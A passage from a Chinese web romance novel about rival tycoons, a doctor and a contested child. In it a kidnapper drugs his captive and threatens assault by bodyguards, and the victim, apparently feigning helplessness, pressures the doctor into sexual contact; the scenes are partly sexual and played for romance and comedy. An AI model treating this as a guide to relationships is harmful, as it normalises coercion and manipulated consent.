杜景恒不似枫音尘,算是光明磊落的一个人,可是人若是被逼到了极限,多少是要学会变坏的。 他朝跟在身边的手下私密地耳语两句,对方惊讶得下巴颏险些掉下地面。 杜景恒觑他一眼,“枫音尘不仁,休怪我不义,你就按照我说得去办,最后出了什么事情,全部由我自己承担。” 属下这才放心离开。 枫音尘这边则是觉得杜景恒入了圈套,心理洋洋得意到不行,不但将随身的私人保镖全部撤去,还明目张胆地参加各种社交活动。 枫音尘从小长得倾国倾城,枫家的长辈们都说他要是一个女孩子,一定是个祸害。 ——其实身为男性的他,也是个祸害。 为了保证心爱的小儿子健康平安,枫家父母从小就雇佣了最优秀的保镖,处处紧跟着枫音尘。 生怕他被人贩子,或者什么怪蜀黍给盯上了。 所以枫音尘叫保镖离远一点的事情,很快被金管家知晓,连忙跑去规劝家主,最好要按照老家主的吩咐,身边至少跟两名保镖才行。 枫音尘抱住他的小黑蛇,无所谓说,“从小一直有人跟在身边,真的特别破坏心情,我最近想一个人安静安静,不想总是黏着几个烦人的尾巴。” 金管家想说这是不是迟来的叛逆期,又一想,枫音尘每天都是叛逆期,365天从来不叫人安生。 枫音尘看他赖着不走,勉为其难说,“行吧,在我的衣服上安装一个定位器,这应该可以了吧?!” 枫音尘是一个谨慎的人,之所以做出反常行为,肯定是要作妖的。 假如没有什么意外的话,就要出意外了。 枫音尘原本是参加一个夜间的酒会,跟龙城的巨头们品品酒,聊聊股市。 乘坐车返回枫家的路上,他也没有携带任何一个保镖跟随,外加司机,总共他们两人。 枫音尘喝了一点酒,人就变得十分挑剔,非说喝酒后脑子涨疼,要求司机往僻静的地方行驶。 结果司机还真听话,把车驶入了一条偏僻的小路。这条路上灯光昏暗,四周寂静无声,只有偶尔传来的虫鸣声打破暗夜的宁静。 枫音尘靠在座椅上,闭着眼睛,似乎在享受着这份难得的宁静。 然而,他的嘴角却勾起了一抹神秘的微笑,仿佛一切都在他的掌控之中。 正在此刻,车子突然停了下来。 司机紧张地回头看向枫音尘,声音有些颤抖,“家主,前面好像有人。” 枫音尘缓缓睁开眼睛,眼中闪过一丝狡黠的光芒。他轻轻拍了拍司机的肩膀,示意对方根本不用紧张,然后推开车门走了下去。 黑暗中,几个身影悄悄逼近,他们似乎对枫音尘的出现并不感到意外。 而枫音尘也似乎早就预料到了这一切,他的脸上根本没有丝毫惊慌,反而带着一种莫名的期待。 说时迟,那时快,只见其中一个黑黢黢的身影朝枫音尘弹射了什么,银光一闪,枫音尘立刻被弄晕了。 司机坐在车里感觉这真是太不可思议了!! 首先,枫家主从来不会如此冒失的啊!他是那种发现前面有异况,会立刻将车门整个锁死的人! 家主!!! 司机眼睁睁看着晕厥了的枫音尘,被几个黑影抬起来弄走。 这不对劲吧!完全超出了他的想象和经验范围。 司机这才猛地推开车门,想要冲出去救援,但双脚却像被钉在地上一般,动弹不得。 司机的心中充满了恐惧和疑惑,他不明白为什么会发生这样的事情,更不明白枫音尘为何会如此轻易地就被制服。 司机瞪大了眼睛,看着那几个黑影渐行渐远,直到消失在夜色之中。 过了好一会儿,司机才如梦初醒般地拿出手机,颤抖着手指拨打了金管家的电话。 “喂,家主刚才好像主动被绑架了!” “对!!” “我没事,对方不知为什么把我一个人留下,难道说是为了让我通风报信?!” 枫音尘是被电击晕过去的,在所有绑架手段里,最疼的莫过于被电击。 以至于他睁开眼望着宽敞的房间,以及装饰用的水晶灯具,舌头和脚尖依旧在发麻。 暂时是说不利索话了。 他只能移动眼珠,看看究竟是哪个王八蛋敢暗算他。 果不其然,杜景恒那一张英俊的面庞,很快出现在枫音尘的视野范围之内。 杜景恒笑了声,“这不能怪我,枫音尘,若不是你之前凭白耍了我两个多月,我还真不想随便动你一根手指的。” 他想拉枫音尘坐起来,却觉得枫音尘身躯直挺挺的,不由朝一旁站着的手下责道,“你用了多大的电力?怎么感觉人都被电击得出问题了?” 枫音尘找了半天,终于找回舌头的位置,轻嗤变成重重一哂。 “杜景恒,你敢绑架我?就不怕我报警?” 杜景恒也是被逼急了,所以道非道非常道,使用一点过激手段也是情理之中。 他将枫音尘的衣领一扯,“那你把我的女儿藏起来,我是不是也可以说你私藏人口,报警抓你啊?” 枫音尘面色不虞,但一双眸子却犹如绿光寒星,冰冷地盯着杜景恒。 杜景恒被他看得心里发毛,不由得松开了手。 枫音尘咳了几声,终于能顺畅地说话了,“杜景恒,你还真可笑,只不过是一张DNA检测报告而已,你认女儿是不是认得太快了一点?” “完全是个没有立场的家伙。” 杜景恒嗤笑一声,“枫音尘,不要试图故意激怒我,咱们两之间的恩怨,我们自己解决,涉及到孩子,可就不是一个男人该做的事了吧?” 枫音尘冷冷地看着他,并不吃他的激将法。 杜景恒见他不说话,自然有更好的方法,朝旁边的手下眼神示意。 对方立刻端过来一小瓶神秘药剂。 杜景恒捏开瓶盖,特意在他面前摇晃了两圈,“知道这是什么吗?” 枫音尘终于咬牙切齿了,道一声,“卑鄙。” 杜景恒说,“真是不好意思,卑鄙这个专属词只属于你,我若是跟枫家主比起来,完全小巫见大巫。” “你从小就爱慕虚荣,阴奉阳违,为了达到目的,无所不用其极。” “今天,我倒是要好好地挫一挫你的锐气,看你究竟能忍耐几秒钟,把萱萱还给我!!” 枫音尘脸色骤变,仿佛被戳中了最不堪一击的软肋,“你给我喝什么?!!” 杜景恒却笑得愈发得意,“你亲自尝了,不就知道了?!” 言罢,将整瓶药液倒入枫音尘的口内,再捂住对方的嘴,谨防流露出一滴来。 这瓶药看似计量不大,但是入口却如烈火烹油,瞬间在枫音尘的体内翻腾起来,只觉得一股燥热之气直冲脑门,眼前一阵眩晕,几乎使他难以自控。 “你你给我喝的是春.药?!!” 嗯? 杜景恒似乎没有预料,枫音尘会想到那种东西。 不过,他顺势用手卡住枫音尘的脖颈,作势要掐死这个讨厌的宿敌。 面露凶光道,“给你两个选择,要不然就说出萱萱的在哪里。” “要不然,就找个人来陪陪你。” “枫音尘,你不是一直守身如玉吗?也不知道你是喜欢女的,还是男的。” 强忍着体内的不适,目光如炬地盯着杜景恒,恨不得将他生吞活剥。 然而,此刻的他已是有心无力,只能任由杜景恒摆布。 杜景恒见他这般模样,心中更是有点好笑。 开个玩笑而已,但是能看到死对头软绵绵地瘫倒在床上,还真是大快人心。 杜景恒嘴角勾起一抹解恨的笑,缓缓松开掐住枫音尘脖颈的手,转而轻轻拍了拍他的脸颊。 枫音尘大口大口地喘着粗气,艳丽的脸庞写满春意,反倒比以往多出几分妖娆。 差点把杜景恒给看呆了。 这个家伙有这么好看吗?! 不不不不!! 杜景恒收回玩笑的神态,变得狰狞可怖,“把我的孩子还给我,不然,今晚你” 枫音尘喘息着,从嘴唇间喷吐的气息也逐渐迷乱起来。 此刻的他,无疑是多情又诱人的。 枫音尘说,“你不是说,让我二选一吗?” “你把郁瑟给我叫来。” 第52章 第 52 章 瑟瑟,帮帮我 杜景恒简直被这死对头给气笑了, 再次用手给人卡住,言辞之间增添了许多狠厉。 “枫音尘,你还以为, 依照你现在这种状态, 自己还能随便点菜呢?!” 看到死对头面色潮红的模样,杜景恒心中不禁升起一股快意,他用力地将枫音尘按住, 眼神中满是挑衅与得意。 “我现在给你一次机会, 假如再不讲出萱萱的去处,我这里的人可是应有尽有。” 所谓的人, 指的是房间内的几名保镖, 全部人高马大,训练有素的强壮汉子。 这些私人保镖闻言后, 禁不住将目光放在虚弱的枫音尘身上。 真是一个绝顶的美人啊~ 假如他们都不认识枫音尘的话, 大概也觉得自己是可以的。 最糟糕的是,他们全部都知道枫音尘呀!! 谁敢?!就问谁敢随便碰枫家主一个手指头!!不要说手指了,恐怕今晚看过枫音尘如此娇弱的人, 明早起来连眼珠子都被挖掉了!! 几个保镖不约而同将视野拨向各个方向, 完全无法集中在枫音尘的身上。 杜景恒自然不会真得做什么,反正也是抱着孤注一掷的念头,大不了背负一个衣冠禽兽的骂名而已。 他现在什么也顾不了,只有一个念头在心中澎湃: 他要萱萱!他要弄清楚萱萱究竟是谁生的孩子!! 枫音尘努力想要挣脱, 但无奈力量悬殊, 只能喘着粗气, 怒视着杜景恒。 “杜景恒,你别太过分!” 杜景恒却像是听到了什么笑话一般,大笑起来, 声音在空旷的房间里回荡。 “过分?这就算过分了?那你可真是忘记了,自己曾经是怎么针对我的,枫音尘!” 为了增加压迫性与真实性,杜景恒的身躯种种压制在死对头的身上,直到他感觉很不对劲。 真的很不对劲! 那个位置! 杜景恒也是男人,知道男人在高热之下会是什么情况,然而枫音尘的却属于格外异常。 杜景恒被隐隐感知到的东西所震惊,但又觉得自己可能是多心了。 毕竟枫音尘也是个普普通通的男人,自己怎么可能会产生如此莫名其妙的想法? 他努力摇了摇头,试图将这种荒谬的想法从脑海中驱逐出去。 但越是想要忘记,那个念头就越是在脑海中盘旋,挥之不去。 杜景恒感觉自己的心跳在加速,呼吸也变得急促起来。 他不得不去验证一下自己的感觉,是否产生了什么偏离轨道的怪念头。 于是,他一把摁住了枫音尘的腹部。 结果,他变得害怕了。 啊啊啊啊啊!! 这是什么情况! 怎么感觉跟自己完全不一样,是两个的感觉!! 枫音尘,怒视着杜景恒,仿佛要将对方生吞活剥一般,碧玉琉璃色的眼珠子布满仇恨的意味。 “喂,给我松手!信不信我找人把你的贱爪子给剁下来?” 杜景恒看着枫音尘的眼神,心中突然涌起一股莫名的寒意。 “枫音尘,你” 正在此时,房间的门被一脚踢开,几个身材魁梧,满脸横肉的外国壮汉冲了进来。 因为房间内一直在争吵,所以被人攻破了外防也全然不知。 接着冲进来的人有金管家,郁瑟,还有林宇良。 这件事十分得凑巧,金管家在接到司机报告的时候,正好郁瑟和林宇良在旁边。 郁瑟原本是想请金管家给出出主意,龙城哪家豪门的小孩需要家庭教师的。 真是如此凑巧。 得知枫音尘被绑架的消息之后,郁瑟脸色瞬间变得不好看,不过他沉着冷静些,提议万一枫音尘受了什么伤,有个医生在场会更妥帖。 林宇良也就跟着来了,他不放心郁医生的安危。 直到三个人进屋之后,看到杜景恒正用手抓住枫音尘,而枫音尘面色绯红,一点抗争的余地都没有。 一瞬间便点燃了三个人的怒火。 其中,林宇良的怒火最为熊熊烈烈。 首先,他并不知道绑架者是谁。 其次,他真没想到会在这种情况下,再次与杜景恒相逢。 最后,杜景恒的失望与愤怒齐刷刷得涌上心头,直接大步流星地走到杜景恒面前,一把将他拽开。 用悲愤的声音颤抖着说,“杜景恒,你真是令我感到恶心!你这个社会败类!!” 杜景恒被拽得一个踉跄,差点摔倒在地,任何人打他都不会有如此的震惊与难过。 他怒视着林宇良,双目圆睁说:“怎么是你?宇良?怎么是你?!” 林宇良冷笑一声,“不要跟我说话,你真是太令我失望了!我一直以为你是一个翩翩君子,没想到你还是堕落了,跟那些豪门内的纨绔子一样,你简直无药可救了!” 杜景恒的脸色变得极为难看,嘴唇微颤,似乎想要反驳,却又无从说起。 他深知自己此刻的行为,无论如何解释,在林宇良眼中都已失去了信任与尊重。 深吸一口气,努力平复自己的情绪,说道:“宇良,事情不是你看到的这样,你听我解释。” 但林宇良根本不愿听他多说一句,愤怒地转过头去,不愿再与杜景恒有任何眼神交流。 此时,郁瑟也走上前来,神色凝重地看着杜景恒,语气中带着一丝责备:“你这种行为值得一个报警了。” 枫音尘听到郁医生的话,立刻从眼中滚出两滴眼泪,委屈得不像话说,“我不干净了。” 杜景恒的脸色更加苍白,他快步走过去,拉住林宇良的手臂,似乎在求饶般解释着。 “宇良,我真的没有想做什么,这只是一场玩笑而已。” 其实,杜景恒应该是恨毒了林宇良的。 对方当年在自己最需要他的时候,消失得无影无踪,而且无论如何寻找,都如泥牛入海,杳无踪迹。 杜景恒每天都在发誓,假如有朝一日,这个负心的家伙站在自己的面前时,一定要狠狠地折磨对方,报复一把。 结果,杜景恒完全恨不起来林宇良。 他只要看见林宇良的脸,就回忆起两人在一起的朝朝暮暮。 他怎么可能报复自己最深爱的人呢? 杜景恒拉住林宇良的手臂,不停地忏悔着,“我真的是无辜的,全天下不相信我,你也必须要相信我啊!” “杜先生,请放手!” 林宇良用力抽回自己的手臂,目光复杂地看着杜景恒,声音充满嫌弃:“我们认识吗,杜先生?” 周围的空气仿佛凝固了一般,所有人都屏息凝视着这一幕。 枫音尘的抽泣声渐渐变大,瞬间吸引了所有人的注意力。 郁瑟脱下自己的外套,快速替他罩在身上,枫音尘顺势滚进郁瑟的怀里,抱着他哭泣说,“我想离开这里,我真没脸见人了。” 这句话直接点燃了林宇良几年来的怨念,情绪更加激动起来,他一巴掌甩在杜景恒的脸上,活脱脱打出一个巴掌印。 “姓杜的,还不快松开!我不想跟你再沾一点关系!” 林宇良算是个教书匠,一直儒雅和礼,是个外柔内刚的人,否则当初也不可能被随便刺激了一下,就彻底躲开杜景恒,几年不与对方相见。 他这一巴掌直接将杜景恒的脸抽得泛起一片绯红,甚至连自己前后自相矛盾的话语也顾不及了。 现在,他只想快点离开这里,一辈子再也不要见到杜景恒了!! 杜景恒被打得半边面颊肿胀,单手捂着脸,可怜得像是被世界再次抛弃。 他从未想过,林宇良会如此愤怒,甚至动手打他。 他缓缓松开手,林宇良趁机挣脱开来,整理了一下衣服,冷冷地看了他一眼,并且朝郁瑟说了一声抱歉,转头往门外跑去。 林宇良的背影显得那么决绝,仿佛真的打算一辈子都不再相见。 杜景恒站在原地,望着对方逐渐远去的身影,心中五味杂陈。 随后,谁也不管了,径自追着林宇良消失的方向,直接追了出门。 他的保镖一瞧主子跑了,也跟着跑了出去。 郁瑟抱住枫音尘,两人一同看着眼前的闹剧慢慢退场。 金管家朝带来的保镖眼神示意,几个人也快速地退出开去。 郁瑟立刻感觉怀里的人在发抖,实际上枫音尘是在嘲笑杜景恒。 被你老婆打了耳光吧?活该,居然敢捏我的 想想真是恶心。 枫音尘抱住郁瑟,双眼很快又滴淌出眼泪来,可怜得要命。 他对郁瑟说,“瑟瑟,你是不是觉得我不干净了?” “杜景恒说,要让我尝苦头。” “我以为这辈子都见不到你了。” 郁瑟第一次见他如此可怜、无助、弱小。 确实特别动容,不由安慰道,“这怎么可能,我们赶到的很及时,你不会有事的。而且,刚才那个人会受到惩罚的。” 枫音尘听了这话,紧紧抱住郁瑟,像是要把整个人都嵌入郁瑟的身体里。 “瑟瑟,你对我真好。” “瑟瑟,我现在两腿好软好软”枫音尘像是一个受伤的孩子。 “你稍微亲亲我,好吗?我现在还觉得自己快要完蛋了。” “你应该知道的,我长得漂亮,真的差点出事啊!” 郁瑟觉得没有必要亲亲吧? 枫音尘已经迫不及待地凑过去,将嘴唇贴在郁瑟的嘴巴上,不停地吸吮起来。 “你是不是不愿意啊?” 枫音尘一点点地撬开郁瑟的唇门,讨好般地舔舐对方的舌尖。 “你都帮助了那么多人了,现在也帮帮我。” 第53章 第 53 章 拼命想得逞 郁瑟自从上次被枫音尘弄窒息之后, 对于接吻这件事变得有点小阴影起来,总觉得自己假如随波逐流的话,搞不好还会被枫音尘给死死堵住。 所以, 郁瑟每次只要感受到枫音尘变得控制欲极强时, 都会不自觉地往后退一下舌尖,双手也撑住对方的肩膀,不让对方死死地禁锢。 他开始尽量避免与枫音尘有太过亲密的接触, 尤其是, 枫音尘开始轻声的哼哼。 有一种勾魂蚀骨的美感。 枫音尘泪眼婆娑着,在一个深吻之后缓慢地放开郁医生的嘴唇。 郁瑟从来没见过一个男人的嘴巴能红得像一片湿润的花瓣似的。 那花瓣吐出的热息, 一点不亚于火山即将喷发的热浪 不, 我不应该被枫音尘的嘴唇所吸引,而且能喷出岩浆的花蕊, 这样的联想简直太烂了。 郁瑟趁枫音尘不再纠缠自己, 准备立刻保持一定的距离的。 枫音尘却立刻软绵绵地往他怀里一躺,红唇吐息道,“我好晕, 完了, 可能是药效开始发作了。” 药效? 郁瑟其实早已经觉察出枫音尘与以往不同,心底是有疑惑的,不过刚才杜景恒和林宇良二话不说就开始上演狗血桥段,打断了他= 猜测。 枫音尘用手指转圈的方式, 一点点地在郁瑟的喉结间摩挲。 “郁医生, 光是接吻好像只能解渴, 但是不够解我身上的药效啊。” 言罢,他像是无骨的蟒蛇,一点点地攀附而上。 郁瑟的喉结不自觉地滚动了一下, 他试图推开枫音尘的手指,但枫音尘的手指却像是带着魔力一般,让他动弹不得。 “枫音尘,你……究竟想怎么样?”郁瑟的声音有些沙哑,他努力保持着冷静,试图从枫音尘的眼神中找到答案。 然而枫音尘确实有某种很吸引人的魅力。 郁瑟一直弄不清楚,分明自己也知道对方的恶劣,可是一旦陷入只有两个人存在的空间之内。 他又总是不知不觉被吸引 是被一点点地引诱才对。 意识到这一点,郁瑟连声拒绝说,“除了接吻,我也没有更好的办法帮助你了。” “枫音尘,无论是你自己帮助自己,还是去浴室里好好凉快一下。” 郁瑟忽然做了一个很小孩子气的举动,他紧紧地摁住胸前的纽扣,枫音尘的气息热喷喷地钻进单薄的布料之中,将他的肌肤也快要燃烧起来了。 不行! 绝对不行! 枫音尘的眼眸中闪烁着异样的光芒,他轻笑一声,凑近郁瑟的耳边,用只有他能听到的声音说:“郁医生,你真可爱,我爱慕你,也愿意尊重你,可是我现在的药效解不掉,你总不好袖手旁观吧?” “就稍微帮帮我嘛。” “一点点就好。” 郁瑟的心猛地一沉。 之前他将自己的外套披在枫音尘的身上,此时此刻,枫音尘将那件外套盖在了美丽的头颅,缓慢地趴在郁瑟的腰际,遮挡了一切。 郁瑟瞬间不敢动了。 不,应该说他纹丝不敢乱动了。 郁瑟开始不停地胡思乱想,记得谁曾说过,男生每天晚上临睡前的思维最是活跃,能从男女之间的那点事,一直联系到人类的奥秘,宇宙的起源。 郁瑟此刻也差不多。 他情不自禁地想象着站在一片无边的草原上,风卷起草浪,空气里弥漫着泥土与汗水混合的味道。 远处,一匹黑马朝他奔来——黑马的肌肉在阳光下起伏,鬃毛如火焰般飞扬,马蹄踏地的震动直抵郁瑟的胸口。 黑马在面前猛然停住,喷着灼热的鼻息,眼睛深邃得像是能看穿郁瑟。 郁瑟不自觉地伸手,触碰到黑马湿漉的脖颈,掌心传来它有力的脉搏。 突然,黑马低下头,用牙齿轻轻叼住郁瑟的裤脚,拉扯着郁瑟向前。郁瑟没有抗拒黑马地牵引,反而感到一阵愉悦的战栗。 下一秒,枫音尘从外套中缓慢地钻了出来,露出的面颊带着汗滴,看起来愈发娇艳如花。 枫音尘显得比黑马还要欢快,完全不是刚才那一副小可怜的模样。 直接变成了郁瑟最熟悉的洋洋得意。 他用发烫的面颊不停地蹭着郁瑟的脖颈,口里喃喃着,“我的郁医生,你真是我的天使,活菩萨,我要是没有你,真得要死了。” 郁瑟彻底没眼看他了,主要是也很羞愧。 然而,枫音尘并没有打算放过他,更不准对方再次逃避。 他将郁瑟的下颌轻微抬起,再张开自己的嘴巴,伸出舌头。 舌头的颜色更红,更艳,涂抹了一些斑斓的粘稠的色彩。 枫音尘说,“你彻底解救了我,我的瑟瑟宝贝,以后我就是你一个人的了。” 郁医生的精力像是被吸收干净了,也谈论不上什么接不接受枫音尘的自荐,脑袋彻底空白一片,连敏捷的思维也被彻底缴获了。 他径自倒在松软的靠枕中,彻底晕了过去. 郁医生做了28年的产科医生,总共接生了一百多个婴儿顺利来到这个灿烂的人世间。 可他最近才发现。 原来他的修为根本不够,还是一个会被世俗牵着鼻子走的人啊。 他的反常,连徒弟王齐也看出来了,总是借助各种借口,想要跟他套话,问出那个富婆究竟是谁。 郁瑟羞耻难掩,含含糊糊地搪塞他说,“小孩子不要一天瞎打听大人的事。” 又说,“23号床的产妇今天办理出院手续,你记得跟进一下后续的情况,把相关的报告整理好交给我。” 王齐虽然心中有诸多好奇,但也不敢再多问,只能应声答道,“好的,师父,我明白了。” 郁瑟微微颔首,转身走进了办公室,将门轻轻关上。 他坐在办公桌前,揉了揉发胀的太阳穴,脑海中不禁又浮现出枫音尘那张艳丽绝伦的脸蛋,从外套中慢慢地露出来,嘴角还挂着一丝奶白的样子。 郁瑟叹了口气,完了,他这两天简直连路都不会走了,仿佛两条腿之间有了什么障碍似的。 就在这时,桌上的座机响了起来,打断了他的思绪。 郁瑟接起电话,“喂,你好,这里是慈康产科医院。” 电话那头传来一个焦急且小声的求助,“郁医生,我是林宇良,不知道你现在方不方便,我快撑不住了。” 郁瑟闻言,神色一凛,立刻站起身,极其关心问道,“怎么了?宇良?你发生了什么事?” “你现在在哪里,我去找你。” 郁瑟脱掉身上的白袍,准备按照林宇良提供的位置出门找他。 枫音尘恰好站在办公室的门口,准备敲门进来。 此时的枫音尘,一点也找寻不到那天的娇弱无助,反倒直挺挺得挡着门,比一座山还难以撼动。 郁瑟觉得自己看不懂面前这个人了。 但是脸却情不自禁得红透了嘴角紧抿,仿佛有千言万语要说,却又实在不好意思先开口。枫音尘看了看他,直接猜准了,“瑟瑟,你要出门吗?我送你去。” 瑟瑟? 郁瑟觉得一个28岁的大男人被叫这种暧昧的昵称,简直不忍直视,立刻拒绝说,“这里是医院,我的工作场所,请叫我郁医生。” 枫音尘立刻垂低了眼角,“好的,郁医生。” “你想去哪里,我来送你。” 郁瑟自己没有车,无论去哪里确实很不方便,但是他实在不能跟枫音尘坐在同一个空间里。 好 枫音尘得逞了一次,肯定还想得逞五六七八十次。 那天的最后,是他将郁医生抱回到对方的房子去的。 不要以为他不知道郁医生离开枫家之后买了新房子,就在医院附近。 枫音尘现在连郁瑟哪里最敏锐,也能说得出一二来了。 枫音尘说,“行,我不跟你去,不过你坐我车去。” 又向郁瑟伸出手道,“你的家门钥匙给我一下,我到你的生活场所里等你。” 郁医生一点也不想给他。 枫音尘立刻显得委屈起来,避开所有人说,“你嫌弃我了?” 郁瑟最近跟枫音尘频繁在医院产生交集,已经开始有人关注到这两人的动态了。 郁瑟十分犹豫。 枫音尘却十拿九稳极了,将手伸出来讨要道,“我又不在你的家里做什么,我就乖乖地等你回家,好不好啊?” 第54章 第 54 章 这次求婚不算数 若是平常, 郁瑟肯定能轻易抵挡任何诱惑。 这次居然失效了。 先不论枫音尘的外在容貌,有多么的可口动人,包括郁瑟的内在里, 似乎也有什么在微微地动摇着 难道说因为枫音尘是第一个津津有味吃我东西的人?! 郁瑟立刻甩了甩头, 掏出钥匙丢给对方,声色严肃道,“希望枫家主能言而有信。” 分明占理的是他, 最先逃跑的人也是他。 郁瑟找到枫音尘的专属司机, 一颗红心噗通通得跳在嗓子眼,他先稍微按捺了一下情绪, 才对司机说, “走,去万向城商业街。” 龙城属于全国一线城市, 万向城商业街更是繁华中的繁华地段, 那里是龙城时尚潮流的聚集地,也是郁瑟平日里绝不会踏足的地方。 林宇良自从出院了之后,一直在外面租着房子住, 为了尽早给萱萱攒够治疗的钱, 他选择在商业街的一家花店打工。 原本他这个人心细手巧,很擅长摆弄花花草草,这份工作对他来说简直得心应手。 花店的环境优雅宁静,芳香四溢, 而且老板也很通情达理, 同意他上班期间可以将萱萱一起领着。 鲜花有很好的愈疗效果, 店里不是很忙的时候,他都会带着萱萱认识各种各样的花草,同时引导萱萱张口说话。 之前因为腹痛难忍, 他每天又忙于生计,在女儿发声期的关键时期有所忽略。 这一次,他想把全身心都放在孩子的康复上。 林宇良的计划才刚开始一周,结果那天晚上与杜景恒意外相遇之后,彻底被打断了。 杜景恒开始每天跑来花店骚扰他,说实在的,他已经对杜景恒失望透顶,一点不想再跟对方发生任何纠葛。 可是萱萱的存在俨然成为了另外一种麻烦。 杜景恒不停地询问他,为什么林宇良身边会跟着这个孩子,而且这个孩子为什么会长得跟自己很像。 杜景恒唯独没有想到,男人会生孩子的可能。 林宇良也是实在没有办法了,只能求助郁瑟来帮忙。 两人通过微信已经互相传递了信息。 所以郁瑟前脚走进花店,正看见一个身穿西装的男人,正在帮店里搬运花盆。 无论谁都能看出,这个男人身上的西装很贵,而且男人的外貌充满都市精英气息,与花店的气场格格不入。 即使昂贵的真丝面料间沾了不少泥土与花瓣,也丝毫没有折损他的帅气与风采。 郁瑟一眼就认出了这是杜景恒。 而林宇良则拉着萱萱,一脸厌烦的神色,不知道该如何赶走这个不请自来的讨厌鬼。 结果他一看见郁瑟,脸上立刻绽放出拨云见日的微笑,准备迎上去。郁瑟换上一脸轻松的笑意,对两人打了招呼,将萱萱的小手拉住,言道,“宇良,真是对不起你,我最近的工作实在太忙了,萱萱这两天放在你这边照料,也是麻烦你了。” 这是两人提前串好的词。 林宇良巴不得叫郁医生快点将孩子领走,这样他才能有机会朝着某人破口大骂。 哪知郁瑟的大手跟萱萱的小手刚拉起来,就被.干活的杜景恒给阻拦住了。 杜景恒认得郁瑟,出手问道,“你做什么?” 郁瑟显得落落大方,假如不做一名医生的话,他这演技拿去做个影帝也是毫无压力的。 “什么?”郁瑟笑问,“我领孩子回家,难道杜先生有什么指教?” 杜景恒的眉头微微皱起,凝视向郁瑟,“萱萱怎么成了你的孩子?” 郁瑟保持着微笑,眼神却闪过一丝不易察觉的警惕,轻轻拍了拍萱萱的手背,示意孩子不用紧张,对杜景恒说,“萱萱是我的女儿,怎么不是我的孩子?或者说,杜先生还想像那天晚上一样,做一些令我们彼此都难堪的举动?” 郁瑟不知为何,只要回忆起面前这家伙给枫音尘喂药,欲行那不轨之事,完全不想跟杜景恒多讲一句话,多耽搁一秒钟。 哪知杜景恒蓦得哈哈大笑起来,他这笑声竟带着一丝讥讽与自嘲,意味声长,仿佛是看穿了郁瑟心中所想。 他缓缓走近郁瑟,目光如炬,直视着对方的眼睛,说道:“你刚才说,这个孩子是你的孩子?” 郁瑟面不改色心不跳,“不可以吗?” 林宇良见两人之间剑拔弩张的,主动跳出来道,“杜景恒,你是不是有什么问题,孩子是人家郁医生的,只不过托我照顾两天而已。” “你现在这样惺惺作态有什么意思,我们早都已经没有什么关系了,你是海拓的总裁,每天有那么多的事情要处理,不要在这个小花店里待着消磨时间了,这真的很没有意义!” 杜景恒面对郁瑟是一种表情,转头面对林宇良却是柔情似水,“宇良,你不要急,我只是随口跟他问一句话而已,为什么你要这么紧张他?” “既然孩子是他的,让他领走就是了,”之前还以萱萱为主的人,直到看见了林宇良之后,余下的事情,全部以对方为主。 “你已经忙了一个早晨,来,先坐下喝口水吧。” 郁瑟一瞧,好吧,假如说他现在还猜不到萱萱究竟是谁的孩子,那他的智商绝对有问题。 郁瑟将萱萱抱了起来,暂时先远离这狗血之地。 当他转身出了玻璃门,随时又朝里面探望了一眼。 林宇良又朝着杜景恒甩了一耳光。 咦~ 郁瑟快速捂住萱萱的眼睛,小孩子是祖国未来的花朵,叫他们去互相搏击吧。 郁瑟没有立刻回家,先带着萱萱在商业街的儿童乐园玩了一大圈,无论多大的孩子都喜欢这个,然后又吃了美味的晚餐,才摇摇晃晃得回了家。 小孩子的体力精力有限,很快就睡熟了,郁瑟将孩子抱在怀里,亦步亦趋往楼上爬。 他的收益还算可以,加上枫音尘的支持,买了一户90平米的小房子,一个人住绝对绰绰有余的。 郁瑟将家门钥匙给了枫音尘,怀里又抱着孩子,想了想大概是要敲门进屋的。 哪知他的家门根本没有锁进,露出的缝隙能看出屋里的所有灯都打开了,融合成一道温暖又柔和的光晕,似乎在欢迎归家的主人。 郁瑟心中一软,无论上辈子,或者是这辈子,这是第一次有人在家等他回来。 郁医生立刻就不生气了——即使枫音尘浪费了他的电费,不食人间烟火的家伙,根本不知道节俭。 他将萱萱换了一个方向,然后小心翼翼地推开门,尽量不发出声响。 门缓缓开启,郁瑟的目光扫过客厅的每一个角落,却并未发现任何异常。 他皱了皱眉,心中疑惑更甚,难道是枫音尘这个家伙离开时没有给他锁门?! 真是不食人间烟火的枫公主。 正想着。 从卧室的房间里慢悠悠地飘出来一枚红色的桃心气球,那气球像是心有灵犀似的,笔直地朝着郁瑟飘过来。 啊,原来那人还在啊。 郁瑟不免又换上微笑,不对,这笑意是从心底浮上来的甜蜜,不是用来应付客人的假笑。 接下来,又从卧室里飘出来十几个红艳艳的桃心气球。 这次的不一样的是,每一个气球上都拴着一枚结婚戒指。 有蓝宝石的,红宝石的,还有钻石的,每一枚都闪烁着耀眼的光芒,款式各异,昂贵精致。 郁瑟惊讶地抬头望向卧室的方向,心中涌起一股难以言喻的暖流。 这些戒指,每一枚都代表着枫音尘对他的心意,也见证了他们之间的点点滴滴。 ——他还是准备要向我求婚吗? 郁瑟抱着孩子,一步步走进卧室里面,结果卧室里的场面更加热闹。 方寸之间的空间内,充满了一屋子的桃心气球,仿佛绚烂的海洋,而且每一个气球下方都拴着一枚结婚戒指,在灯光的照耀下熠熠生辉。 还有一个人间尤物,性感地趴在他的床上。 枫音尘穿着一身墨玉色的浴袍,衣带宽松地系着,所以大片雪白的肌肤和长腿都露在外面。 枫音尘背对着他,缓缓转过身来,像是在色.诱他似的哼了一声,“惊不惊喜,意不意外?” 郁瑟立刻捂住孩子紧闭的睡眼,虽然心脏已经彻底被眼前的艳景给攫住了,一身燥血难凉。 但是影响不好。 他说,“不要给萱萱看这个,会给孩子造成心理阴影。” 啊~ 枫音尘万万没想到,自己精心策划的求婚,居然被一个小屁孩给破坏殆尽了。 何况对方还在睡觉! 我恨小孩子! 枫音尘快速将落在肩膀的浴衣穿好,恰好放置在一旁的手机也响了起来。 枫音尘情绪不佳地看了一眼,正是他最讨厌的活冤家。 杜景恒! 瞧你生的好孩子!! 杜景恒接通手机,第一句话就是,“过来,我跟你的新仇旧恨,差不多也该正式清算一下了。” 很好,我也是。 枫音尘骂骂咧咧地起身,路过郁瑟时,忍不住在郁医生的嘴巴上亲了一口。 郁瑟抱着孩子,根本阻拦不了他的进犯。 枫音尘亲得差不多餍足了,才舔舔嘴唇道,“这次的求婚不算数,我一定会想到更好更完美的求婚方式,下次你一定要立刻答应我哦。” 又在郁瑟发烫的耳垂间咬了一口,才心满意足地穿好衣服离开了。 郁瑟看了眼满屋子飘荡的结婚戒指起码有一百多个,每一个都刚好能戴进他的右手无名指,心里瞬时五味杂陈。 这些戒指,每一个都代表着枫音尘对他的执着与承诺。 